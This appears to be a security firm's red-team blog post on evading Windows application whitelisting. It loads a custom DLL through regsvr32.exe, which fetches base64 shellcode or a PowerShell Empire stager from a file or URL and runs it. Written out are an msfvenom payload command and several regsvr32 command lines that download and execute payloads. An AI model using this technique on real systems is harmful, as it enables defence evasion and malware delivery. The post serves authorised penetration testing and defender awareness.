How to Evade Application Whitelisting Using REGSVR32

Joff Thyer //

I was recently working on a Red Team for a customer that was very much up to date with their defenses. This customer had tight egress controls, perimeter proxying, strong instrumentation, and very tight application whitelisting controls. My teammate and I knew that we would have to work very hard to get command and control outbound from this environment, and that would be after obtaining physical access (yet another significant challenge).


The week before going on-site, we began to research all of the various methods for potential application whitelisting bypass. We assumed the best case defensive scenario whereby the customer would have all binary execution blocked with the exception of specific applications permitted. In prior tests with other customers and this same customer, we had used “rundll32.exe” to execute DLL content. This method is really useful if you can host shellcode within a DLL, and have a nice controlled entry point. In the Metasploit case, the DLL entry point is named “Control_RunDLL”. While this might evade whitelisting, we also knew this old trick had been played before and we likely could not count on it again.

One interesting technique published by Casey Smith involves the DLL registration process within Windows, and shows how COM+ scriptlets can be executed by reading the scriptlet as an argument to “regsvr32.exe”, and using the COM+ “scrobj.dll”.

Additionally, Casey published an outline of how to launch processes using a custom DLL written in C# as further detailed in this source code.

I was enamored by both these techniques although I didn’t want to write COM+ scriptlets to launch payloads, but rather wanted greater flexibility. My goals were to try and get “regsvr32.exe” to register a DLL which could execute either shellcode or a PowerShell script pipeline directly during the DLL registration process.


What is very nice about the “regsvr32.exe” DLL registration method is that whatever DLL you create only has to export four different methods in order to work. These are:

  • EntryPoint()
  • DllRegisterServer()
  • DllUnRegisterServer()
  • DllInstall()

As Casey points out in various blog entries, this affords you with multiple paths of code execution, all using a Windows binary that is likely to be whitelisted in any environment.

Wait, but what is this “regsvr32.exe” entity? According to Microsoft “This command-line tool registers .dll files as command components in the registry.”. You can read more from TechNet here:

I decided to leverage the “DllInstall()” routine with the following logic:

  1. Pass the string “shellcode” or “powershell” using the “/i” flag when running “regsvr32.exe”.
  2. Pass in a comma followed by either a filename or URL pointing to data that is base64 encoded. The base64 encoded data is either binary shellcode or a PowerShell script.
  3. Read the file or URL contents, then base64 decode.
  4. If the content is PowerShell, create a runspace pipeline, and execute the script.
  5. If the content is Shellcode, allocate memory and execute the shellcode.

A code snippet to perform these functions appears below as written in C#. The idea is to compile this into a DLL which then can be used with “regsvr32.exe”.

Copying ShellCode into Memory and Creating New Thread
Creation of a System Automation Runspace for PowerShell Script Execution

Now, you ask, how do you pass the filename, or URL into the DLL when using “regsvr32.exe”. It turns out that the “/i” flag allows us to specify parameters on the command line which we can then parse to get the information we need. Once we parse this information, we can then use the <dot>NET WebClient() methods to either download or just read from the file the content we are interested in.

DllInstall() Method Exported
Filename and URL Parsing and Decision Logic

Putting it all together, we can then compile both a 64-bit, and 32-bit version of our DLL and then use the DLL to deliver either PowerShell or Shellcode payloads. If our compiled DLL’s are called “rs32.dll”, and “rs64.dll”, this is how you might use the end tool.

1) On Linux system, generate your payload:

$ msfvenom -p windows/x64/exec CMD=calc.exe -f raw 2>/dev/null | base64 >calc.b64

2) Download the payload to Windows, as well as the “rs64.dll” (assuming 64-bit).

C:\> regsvr32.exe /s /i:shellcode,calc.b64 rs64.dll

But WAIT, it gets even better now. Why bother downloading the payload when you can just use HTTP(s) from the fancy DLL directly.

C:\> regsvr32.exe /s /i:shellcode, rs64.dll

Now we can do the same thing, only this time using PowerShell instead. Generate your favorite PowerShell base64 encoded payload. Let me guess, you probably want to use PowerShell Empire ( which conveniently includes a base64 script as the client-side agent!

1) Generate your PowerShell empire script using the “launcher” stager

2) Now cut/paste only the base64 encoded portion and save it in a file.

3) Execute the powershell using “regsvr32.exe” and your fancy custom DLL.

C:\> regsvr32.exe /s /i:powershell,payload.b64 rs64.dll

Or, alternatively:

C:\> regsvr32.exe /s /i:powershell, rs64.dll

And there you have it, a brand new method of payload delivery that will happily bypass most environments that have implemented application whitelisting. If you want to try out the code, please visit the bitbucket repo:

The “wevade” name is a random brain pick combination of “whitelisting”, and “evade”. Yeah, I know… I don’t claim to be a marketing guru by any stretch. Thanks, and please enjoy!

You can learn more straight from Joff himself with his classes:

Regular Expressions, Your New Lifestyle

Enterprise Attacker Emulation and C2 Implant Development

Introduction to Python

Available live/virtual and on-demand!